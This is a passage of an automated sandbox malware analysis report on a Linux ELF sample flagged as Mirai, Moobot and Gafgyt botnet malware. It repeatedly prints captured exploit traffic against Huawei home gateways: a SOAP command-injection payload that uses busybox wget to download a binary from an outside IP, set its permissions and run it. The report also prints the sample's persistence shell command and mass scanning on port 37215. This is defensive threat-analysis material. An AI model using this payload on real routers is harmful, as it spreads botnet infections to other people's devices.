xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.188.105
Source: unknown	TCP traffic detected without corresponding DNS query: 41.59.173.161
Source: unknown	TCP traffic detected without corresponding DNS query: 157.84.173.102
Source: unknown	TCP traffic detected without corresponding DNS query: 157.172.201.119
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.124.244
Source: unknown	TCP traffic detected without corresponding DNS query: 197.234.113.162
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.223.204
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.13.122
Source: unknown	TCP traffic detected without corresponding DNS query: 41.187.14.3
Source: unknown	TCP traffic detected without corresponding DNS query: 157.109.52.196
Source: unknown	TCP traffic detected without corresponding DNS query: 41.28.198.60
Source: unknown	TCP traffic detected without corresponding DNS query: 157.48.46.102
Source: unknown	TCP traffic detected without corresponding DNS query: 41.213.200.22
Source: unknown	TCP traffic detected without corresponding DNS query: 157.108.205.143
Source: unknown	TCP traffic detected without corresponding DNS query: 148.94.3.83
Source: unknown	TCP traffic detected without corresponding DNS query: 197.37.53.79
Source: unknown	TCP traffic detected without corresponding DNS query: 157.156.162.199
Source: unknown	TCP traffic detected without corresponding DNS query: 157.205.17.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.173.117.4
Source: unknown	TCP traffic detected without corresponding DNS query: 197.35.113.47
Source: unknown	TCP traffic detected without corresponding DNS query: 41.18.245.29
Source: unknown	TCP traffic detected without corresponding DNS query: 41.91.82.148
Source: unknown	TCP traffic detected without corresponding DNS query: 157.249.225.91
Source: unknown	TCP traffic detected without corresponding DNS query: 157.38.65.127
Source: unknown	TCP traffic detected without corresponding DNS query: 153.6.146.12
Source: unknown	TCP traffic detected without corresponding DNS query: 41.165.42.202
Source: unknown	TCP traffic detected without corresponding DNS query: 221.4.37.244
Source: unknown	TCP traffic detected without corresponding DNS query: 207.233.206.196
Source: unknown	TCP traffic detected without corresponding DNS query: 76.155.143.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.67.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.143.196
Source: unknown	TCP traffic detected without corresponding DNS query: 41.115.11.233
Source: unknown	TCP traffic detected without corresponding DNS query: 157.60.205.239
Source: unknown	TCP traffic detected without corresponding DNS query: 197.100.148.206
Source: unknown	TCP traffic detected without corresponding DNS query: 62.145.68.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.228.77.157
Source: unknown	TCP traffic detected without corresponding DNS query: 180.9.6.101
Source: unknown	TCP traffic detected without corresponding DNS query: 61.98.120.1
Source: unknown	TCP traffic detected without corresponding DNS query: 197.20.252.229
Source: unknown	TCP traffic detected without corresponding DNS query: 38.159.96.79
Source: unknown	TCP traffic detected without corresponding DNS query: 157.227.185.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.0.84.190
Source: unknown	TCP traffic detected without corresponding DNS query: 197.177.127.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.88.204.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.151.221
Source: unknown	TCP traffic detected without corresponding DNS query: 41.149.105.154
Source: unknown	TCP traffic detected without corresponding DNS query: 197.89.253.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.121.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.6.247.30
Source: unknown	TCP traffic detected without corresponding DNS query: 157.33.174.150

Source: 6lqMB7o2Ts.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 6lqMB7o2Ts.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

DNS traffic detected: queries for: BC@^]B

System Summary

Malicious sample detected (through community Yara rule)

Source: 6lqMB7o2Ts.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6240, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Yara signature match

Source: 6lqMB7o2Ts.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6240, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdw5q6he3dbrsgmclkiu4to18npavj702f@

Source: classification engine

Classification label: mal92.troj.linELF@0/0@105/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6237)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 6235)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 6237)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Sample tries to set the executable flag

Source: /usr/bin/chmod (PID: 6237)

File: /tmp/bin/systemd (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/6lqMB7o2Ts.elf (PID: 6232)

Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/6lqMB7o2Ts.elf bin/systemd; chmod 777 bin/systemd"

Jump to behavior

Executes the "rm" command used to delete files or directories

Source: /bin/sh (PID: 6234)

Rm executable: /usr/bin/rm -> rm -rf bin/systemd

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41076
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58734
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215

Uses the "uname" system call to query kernel version information (possible evasion)

Source: /tmp/6lqMB7o2Ts.elf (PID: 6230)

Queries kernel information via 'uname':

Jump to behavior

Source: 6lqMB7o2Ts.elf, 6230.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/6lqMB7o2Ts.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/6lqMB7o2Ts.elf
Source: 6lqMB7o2Ts.elf, 6230.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: 6lqMB7o2Ts.elf, 6230.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: 6lqMB7o2Ts.elf, 6230.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: 6lqMB7o2Ts.elf, type: SAMPLE
Source: Yara match	File source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR

ID:	830828
Product:	CloudBasic
Start time:	18:13:53
Start date:	20.03.2023
Sample:	6lqMB7o2Ts.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	1f34c5bcd411c95d5bdff565afd27afd
SHA1:	39a1f8fff95e7c4d693d0d3fbc2d49749f3ba395
SHA256:	a9b25052579b7f41a1f985ed6d95f0eef2f00e8ad0e9a16dafad5ea38cb1b128
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Linux Analysis Report 6lqMB7o2Ts.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report
6lqMB7o2Ts.elf